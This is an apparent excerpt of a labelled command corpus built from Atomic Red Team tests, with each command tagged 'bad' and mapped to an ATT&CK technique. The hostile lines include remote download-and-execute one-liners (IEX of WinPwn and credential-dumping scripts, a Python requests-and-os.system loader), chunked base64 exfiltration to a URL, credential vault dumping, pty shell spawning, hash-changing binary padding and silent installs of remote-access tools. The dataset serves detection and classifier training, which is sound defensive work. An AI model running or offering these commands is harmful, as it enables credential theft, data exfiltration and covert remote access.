cowWhySo/permission-command-corpus huggingface dataset:
Command: %windir%\system32\inetsrv\appcmd.exe uninstall module #{module_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.004
Platform: windows
ATT&CK tags: T1505.004
Source rule: Install IIS Module using AppCmd.exe
Notes: The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using AppCmd.exe.
[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-mo
Command: New-WebGlobalModule -Name #{module_name} -Image #{dll_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.004
Platform: windows
ATT&CK tags: T1505.004
Source rule: Install IIS Module using PowerShell Cmdlet New-WebGlobalModule
Notes: The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using New-WebGlobalModule.
[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-w
Command: Remove-WebGlobalModule -Name #{module_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.004
Platform: windows
ATT&CK tags: T1505.004
Source rule: Install IIS Module using PowerShell Cmdlet New-WebGlobalModule
Notes: The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using New-WebGlobalModule.
[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-w
Command: cd #{folder_path}; split -b 5000000 #{file_name} ls -l #{folder_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1030
Platform: macos,linux
ATT&CK tags: T1030
Source rule: Data Transfer Size Limits
Notes: Take a file/directory, split it into 5Mb chunks
Command: if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1030
Platform: macos,linux
ATT&CK tags: T1030
Source rule: Data Transfer Size Limits
Notes: Take a file/directory, split it into 5Mb chunks
Command: $file = [System.IO.File]::OpenRead(#{source_file_path}) $chunkSize = #{chunk_size} * 1KB $buffer = New-Object Byte[] $chunkSize while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) { $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead) Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk } $file.Close()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1030
Platform: windows
ATT&CK tags: T1030
Source rule: Network-Based Data Transfer in Small Chunks
Notes: Simulate transferring data over a network in small chunks to evade detection.
Command: Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.007
Platform: windows
ATT&CK tags: T1027.007
Source rule: Dynamic API Resolution-Ninja-syscall
Notes: This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.
Command: if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.007
Platform: windows
ATT&CK tags: T1027.007
Source rule: Dynamic API Resolution-Ninja-syscall
Notes: This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.
Command: which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.006
Platform: linux
ATT&CK tags: T1059.006
Source rule: Execute shell script via python's command mode arguement
Notes: Download and execute shell script and write to file then execute locally using Python -c (command mode)
Command: rm #{payload_file_name} pip-autoremove pypykatz >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.006
Platform: linux
ATT&CK tags: T1059.006
Source rule: Execute shell script via python's command mode arguement
Notes: Download and execute shell script and write to file then execute locally using Python -c (command mode)
Command: rm #{python_script_name} #{payload_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.006
Platform: linux
ATT&CK tags: T1059.006
Source rule: Execute Python via scripts
Notes: Create Python file (.py) that downloads and executes shell script via executor arguments
Command: rm #{python_binary_name} #{python_script_name} #{payload_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.006
Platform: linux
ATT&CK tags: T1059.006
Source rule: Execute Python via Python executables
Notes: Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
Command: which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c "import pty;pty.spawn('/bin/sh')" exit $which_python -c "import pty;pty.spawn('/bin/bash')" exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.006
Platform: linux
ATT&CK tags: T1059.006
Source rule: Python pty module and spawn function used to spawn sh or bash
Notes: Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
Command: dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.001
Platform: linux,macos
ATT&CK tags: T1027.001
Source rule: Pad Binary to Change Hash - Linux/macOS dd
Notes: Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
Command: rm #{file_to_pad}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.001
Platform: linux,macos
ATT&CK tags: T1027.001
Source rule: Pad Binary to Change Hash - Linux/macOS dd
Notes: Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
Command: truncate -s +1 #{file_to_pad} #adds a byte to the file size
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.001
Platform: linux,macos
ATT&CK tags: T1027.001
Source rule: Pad Binary to Change Hash using truncate command - Linux/macOS
Notes: Uses truncate to add a byte to the binary to change the hash.

Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Extract Windows Credential Manager via VBA
Notes: This module will extract the credentials found within the Windows credential manager and dump
them to $env:TEMP\windows-credentials.txt
Command: Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Extract Windows Credential Manager via VBA
Notes: This module will extract the credentials found within the Windows credential manager and dump
them to $env:TEMP\windows-credentials.txt
Command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]
Notes: This module will extract the credentials from Windows Credential Manager
Command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Dump credentials from Windows Credential Manager With PowerShell [web Credentials]
Notes: This module will extract the credentials from Windows Credential Manager
Command: vaultcmd /listcreds:"Windows Credentials" /all
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]
Notes: This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe
Command: vaultcmd /listcreds:"Web Credentials" /all
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]
Notes: This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') lazagnemodule -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: WinPwn - Loot local Credentials - lazagne
Notes: The [LaZagne project](https://github.com/AlessandroZ/LaZagne) is an open source application used to retrieve lots of passwords stored on a local computer. 
Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). 
This tool has been developed for the purpose of finding these passwords for the most commonly-used software
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') wificreds -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: WinPwn - Loot local Credentials - Wifi Credentials
Notes: Loot local Credentials - Wifi Credentials technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') decryptteamviewer -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555
Platform: windows
ATT&CK tags: T1555
Source rule: WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords
Notes: Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn
Command: Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe" Start-Process -Wait $file1 /S; Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: TeamViewer Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Command: $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe' if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null } $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe" Remove-Item $file1 -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: TeamViewer Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Command: Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe" Start-Process $file1 /S;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: AnyDesk Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Command: $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe" Remove-Item $file1 -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: AnyDesk Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Command: Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi" Start-Process -Wait $file1 /quiet; Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: LogMeIn Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Command: get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi" Remove-Item $file1 -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: LogMeIn Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Command: try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: GoToAssist Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
Command: $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi" Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi" msiexec /i $installer /qn
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: ScreenConnect Application Download and Install on Windows
Notes: An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.
Command: $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi" msiexec /x $installer /qn
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: ScreenConnect Application Download and Install on Windows
Notes: An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.
Command: Start-Process "#{Ammyy_Admin_Path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: Ammyy Admin Software Execution
Notes: An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed.
Command: Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: Ammyy Admin Software Execution
Notes: An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed.
Command: Start-Process "#{RemotePC_Path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: RemotePC Software Execution
Notes: An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. 
Upon successful execution, RemotePC will be executed.
Command: Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: NetSupport - RAT Execution
Notes: A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Command: Stop-Process -Name "client32" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: NetSupport - RAT Execution
Notes: A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Command: Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: UltraViewer - RAT Execution
Notes: A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Command: Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: UltraViewer - RAT Execution
Notes: A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Command: Start-Process #{UltraVNC_Viewer_Path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: UltraVNC Execution
Notes: An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.
Command: Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: UltraVNC Execution
Notes: An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.
Command: Start-Process #{MSP360_Connect_Path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: MSP360 Connect Execution
Notes: An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.
Command: Stop-Process -Name "Connect" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: MSP360 Connect Execution
Notes: An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.
Command: $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe" Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe Start-Process -FilePath $file "/S"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: RustDesk Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.
Command: $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe" Remove-Item $file1 -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1219
Platform: windows
ATT&CK tags: T1219
Source rule: RustDesk Files Detected Test on Windows
Notes: An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.